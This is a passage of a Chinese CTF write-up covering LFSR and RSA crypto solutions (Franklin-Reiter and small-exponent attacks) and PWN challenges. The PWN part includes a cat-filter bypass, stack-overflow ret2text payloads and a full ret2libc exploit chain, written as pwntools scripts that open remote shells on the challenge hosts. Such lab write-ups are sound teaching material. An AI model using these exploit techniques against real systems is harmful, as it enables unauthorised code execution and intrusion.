result ^= b[j]
if result^b[-1] == lfsr_output: #判断当前位是否参与异或
indexs.append(i)

initial_state = ((initial_state<<1) & 0xffffffff) + lfsr_output
print(indexs)
#输出:[0, 3, 4, 5, 8, 11, 12, 13, 16, 18, 20, 21, 23, 28, 29, 31]

判断逻辑:

初始的R为0b00000000000000000000000000000001,通过key和flag异或得到第一个lastbit为1,可推出mask的第一位是1(如果mask第一位是0的话则R的第一位不参与异或,而R的其他位都是0,异或不可能为1)

第一轮结束后R的值为0b00000000000000000000000000000011,第二个lastbit为1,可推出mask的第二位是0(如果mask第二位是1的话,R的第二位就要参与异或,1^1=0,而lastbit为1,显然不符)

第二轮结束后R的值为0b000000000000000000000000000000111,第三个lastbit为1,可推出mask的第三位是0

第三轮结束后R的值为0b000000000000000000000000000001111,第三个lastbit为0,可推出mask的第四位是1

以此类推,上面程序输出的[0, 3, 4, 5, 8, 11, 12, 13, 16, 18, 20, 21, 23, 28, 29, 31]指的是mask中值为1的小标,也就是说mask中第1, 4, 5, 6, 9, 12, 13, 14, 17, 19, 21, 22, 24, 29, 30, 32位为1,利用这个条件我们可以解出后续的lastbit

paylaod:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *
from random import choice
key = "0111100010111111010100001001110010000010010110011010000000010000111010100110000101000100010011010111000110110000110101001101111100110010000010010010011010001011111000010101001110000001011000011000001010011101100100111100110110001000111111001000100110011011111001001001110011110001110001011000101"
binary_flag = 0
indexs = [0, 3, 4, 5, 8, 11, 12, 13, 16, 18, 20, 21, 23, 28, 29, 31]
a=[1]
initial_state = 1
for k in key:
a = [ int(i) for i in bin(initial_state)[2:]]
a.reverse()
result = 0
for i in range(len(a)):
if i in indexs:
result ^= a[i]
binary_flag = (binary_flag<<1) + result^int(k)
initial_state = ((initial_state<<1) & 0xffffffff) + result
print(long_to_bytes(binary_flag))
#输出:NSSCTF{It1s_As_simP

最终得到flag:NSSCTF{It1s_As_simPle_a3_It_lo0ks}

flag_where

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
n = 96294984374753089080583610747240203389088051930341615602841335596072081913930052484580770899610689065293206976889303327507604080242460321817406117877072425663471808350427893332726383611142246218026112051129578226014713958882307096859175042839198895428723757405196020266267824586199807170149650434306779718677   
hint1 = 111128465335502483574544230236618721723785067258103368528600651970108082026274
hint2 = 149777690555091648253749138438840244052377948686936166203166372618778229891842
c1 = 19258639302759286032385037035129183959148363633353536085988651266927081471573889078520697158985164250184287591219408939982288951952002632371950165308028756191357634396067109728491154241759098403135297660541258808223827178690693818047525955978891748361038516201626720292976210372367169577574791733786601438737
c2 = 94728391095098686718854324913205273277837107275197779266203956111447917954217642996612375426900185362566372715775684730383657923112702380810451305560067414494793397392647318953106387697001580454130672044011060132072400728672015125332880303053556556640562753160804196189095016248121783366388642672259225712092
b=293227681709108659093110186239101833877
a=217562055747111316427029035559575901669
e = 3
from Crypto.Util.number import *
def franklinReiter(n,e,c1,c2,a,b):
R.<X> = Zmod(n)[]
f1 = X^e - c1
f2 = (X*a+ b)^e - c2
# coefficient 0 = -m, which is what we wanted!
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0]) # 系数

# GCD is not implemented for rings over composite modulus in Sage
# so we do our own implementation. Its the exact same as standard GCD, but with
# the polynomials monic representation
def compositeModulusGCD(a, b):
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)

m=franklinReiter(n,e,c1,c2,a,b)
print(long_to_bytes(int(m)))
# b'ZcxKh0OHA4nmSOnyeKsfh44P8FukJ6VMmQlXsAAAAASUVORK5CYII='

解压压缩包得到一张图片,用010打开发现底部存在e、n和c

image-20241028112751679

1
2
3
n= 23613440611274671981103562117762261407657733032262530808365808460802265777404559689770212205664056651689849304576137012508441030782562719114824768464775304331357062635791932441797662757831660552844003759285119574349208127247279359306048367901670313942242293660325209254802053786362409960527461289549743183131793123086882884499956331652650601135698081029508500034843745858862415689306278980446458807168395881472172471730255424421648602988543988586027701543404817919626933524670439936405497236264107287151288962539180486176914120546870484668665264576021156708057529615192067896540955731053282702775053130195750940441499
e= 3
c= 6224502790241725121858151083881916470453047115244132459991459154927516119017085320641701845030115595623733051828266146127822033656314679638782226145682487721992169123432564248314029318691399607764252052430390312899182425006711775775635366515484611511550894355625585295587944764723959996392921955004444258683331994239527759128065125

e很小,直接上poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
n= 23613440611274671981103562117762261407657733032262530808365808460802265777404559689770212205664056651689849304576137012508441030782562719114824768464775304331357062635791932441797662757831660552844003759285119574349208127247279359306048367901670313942242293660325209254802053786362409960527461289549743183131793123086882884499956331652650601135698081029508500034843745858862415689306278980446458807168395881472172471730255424421648602988543988586027701543404817919626933524670439936405497236264107287151288962539180486176914120546870484668665264576021156708057529615192067896540955731053282702775053130195750940441499
e= 3
c= 6224502790241725121858151083881916470453047115244132459991459154927516119017085320641701845030115595623733051828266146127822033656314679638782226145682487721992169123432564248314029318691399607764252052430390312899182425006711775775635366515484611511550894355625585295587944764723959996392921955004444258683331994239527759128065125
import gmpy2

from Crypto.Util.number import *
# 计算 k
def calc(j):
print(j)
a, b = gmpy2.iroot(c+ j * n, e) # a 为 cipher + j * N 开三次方的值, b 取 True or False. 如果可得整数b = True; 反之, False.
if b == 1:
print(long_to_bytes(a))
exit()

def SmallE():
for i in range(0, 130000000):
calc(i)

if __name__ == '__main__':

SmallE()
#NSSCTF{flagIs1neverywhereatanytimeforeveryone}

PWN

nocat

通过nc连接之后直接就能看到flag,但不允许使用cat命令

image-20241012230853935

测试发现是过滤了cat关键字

image-20241012231010466

通过shell变量拼接绕过

image-20241012231114394

兄弟你的环境好香?

通过ida打开可看到

image-20241013095135655

程序读取用户的输入,但变量长度只有80,最大输入长度为0x100,可尝试栈溢出

发现后门函数

image-20241013095312397

image-20241013095747311

编写payload

1
2
3
4
5
6
7
8
from pwn import *
r = remote("node6.anna.nssctf.cn", 20605)
payload = "A" * 0x50 + "a" * 0x8 + p64(0x004011e5).decode("iso-8859-1")

# r.recvuntil("Do you know stack alignment?\n")

r.sendline(payload)
r.interactive()

image-20241013110237626

这里的返回地址不能写0x004011dd,因为Ubuntu18.04 64位 和 部分Ubuntu16.04 64位 调用system的时候,rsp的最低字节必须为0x00(栈以16字节对齐),否则无法运行system指令。

详情参考:Pwntools遇到Got EOF while reading in interactive【未完全解决】

不是哥们ret2text还阴啊?

这道题有点迷糊

首先用ida打开看到程序v1数组长度为56,却可以循环读取900个字符

image-20241013135943223

发现后门程序

image-20241013140332835

变量位置

image-20241013140908472

一开始想得很简单,返回地址与v1的距离是0x40+0x8=0x48,写了个poc发现没打成功,于是开始利用IDA配合gdbserver远程调试

首先在kali中开启gdbserver监听

1
2
sudo apt install gdbserver
gdbserver --multi *:1234

IDA选择远程服务器

image-20241013143254663

打下断点开始调试,然后就发现了是因为变量i的缘故,当i=60的时候v2 = read(0, &v1[i], 1uLL);修改的v1[60]恰好是i的值,所以i就变成了0x41也就是65,

所以下一次修改的值为v1[65],而不是v[61],所以我们该传入0x48-(65-60)=0x43个A,然后在传入要跳转的地址。

修改i值为0x41

下次循环直接跳转到了v[61]

payload:

1
2
3
4
5
6
from pwn import *
r = remote("node9.anna.nssctf.cn", 28753)
payload = "A" * 0x43 + p64(0x004011E2).decode("iso-8859-1")

r.sendline(payload)
r.interactive()

image-20241013135623592

出题人你到底干了什么?

题目暗示使用ret2lib

image-20241018103814671

附件中给出了attachment和libc.so.6

思路:attchment中使用了write函数,可通过write函数的真实地址-write函数在libc.so.6中的偏移地址得到libc.so.6的基地址,然后利用libc.so.6中的system和/bin/sh得到shell

首先我们来找write函数的真实地址,payload如下

1
2
3
4
5
6
7
8
payload = b"a" * offset #垃圾数据的填充
payload += p64(pop_rdi_ret_addr) #用寄存器rdi传参,参数是write_got
payload += p64(1) #将文件描述符 fd 设置为 1,对应标准输出(stdout)
payload += p64(pop_rsi_ret_addr)
payload += p64(write_got) #想要存入rdi的参数
payload += p64(4) #这个值不影响
payload += p64(write_plt) #write的入口地址,即plt表的地址
payload += p64(main_addr) #程序的起始地址

write函数原型是 int write(int fd, const void *buf, size_t count),具体对应的寄存器可见https://shell-storm.org/shellcode/files/linux-4.7-syscalls-x64.html

首先是pop_rdi_ret_addr和pop_rsi_ret_addr的地址,得到0x401233和0x401231

1
ROPgadget --binary attachment --only "pop|ret" | grep rdi

image-20241018114158460

image-20241029112012611

脚本跑出write_got,write_plt和main_addr的地址

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
e = ELF("./attachment")
write_plt = e.plt['write'] #write函数的入口地址
write_got = e.got['write'] #write函数的got表地址
start_addr = e.symbols['main'] #程序的起始地址
print(hex(write_plt))
print(hex(write_got))
print(hex(start_addr))
#输出:
#0x401064
#0x404018
#0x401176

在attachment中可以看到可控局部变量buf到返回地址的偏移为0x60+0x08=0x68

image-20241018110742733

开始尝试获取真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
e = remote("node9.anna.nssctf.cn",21154)

pop_rdi_ret_addr = 0x401233
pop_rsi_ret_addr = 0x401231
write_got = 0x404018
write_plt = 0x401064
main_addr = 0x401176
offset = 0x68
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(1)
payload += p64(pop_rsi_ret_addr)
payload += p64(write_got)
payload += p64(write_got)
payload += p64(write_plt)
payload += p64(main_addr)

e.recvuntil(b"!\n")
e.send(payload)
write_addr = u64(e.recv(8))
print("write_addr is %#x" %write_addr)

在libc.so.6中找system函数和write函数的偏移地址,得到0x10e2800x052290

1
2
objdump -T libc.so.6 | grep write
objdump -T libc.so.6 | grep system

image-20241018112534215

image-20241018104111831

接下来找/bin/sh的偏移地址,得到0x1b45bd

1
ROPgadget --binary libc.so.6 --string '/bin/sh'

image-20241018105347971

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(log_level = 'debug',arch = 'amd64',os = 'linux')
e = remote("node9.anna.nssctf.cn",21154)

pop_rdi_ret_addr = 0x401233
pop_rsi_ret_addr = 0x401231
write_got = 0x404018
write_plt = 0x401064
main_addr = 0x401176
offset = 0x68
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(1)
payload += p64(pop_rsi_ret_addr)
payload += p64(write_got)
payload += p64(1)
payload += p64(write_plt)
payload += p64(main_addr)

e.recvuntil(b"!\n")
e.send(payload)
write_addr = u64(e.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.success("write_addr is %#x" %write_addr)

addr = write_addr - 0x10e280
system_addr = addr + 0x052290
binsh_addr = addr + 0x1b45bd

payload = b"a" * offset + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
e.sendlineafter(b"!\n",payload)
e.interactive()

上一页
2024-11-01 13:17:36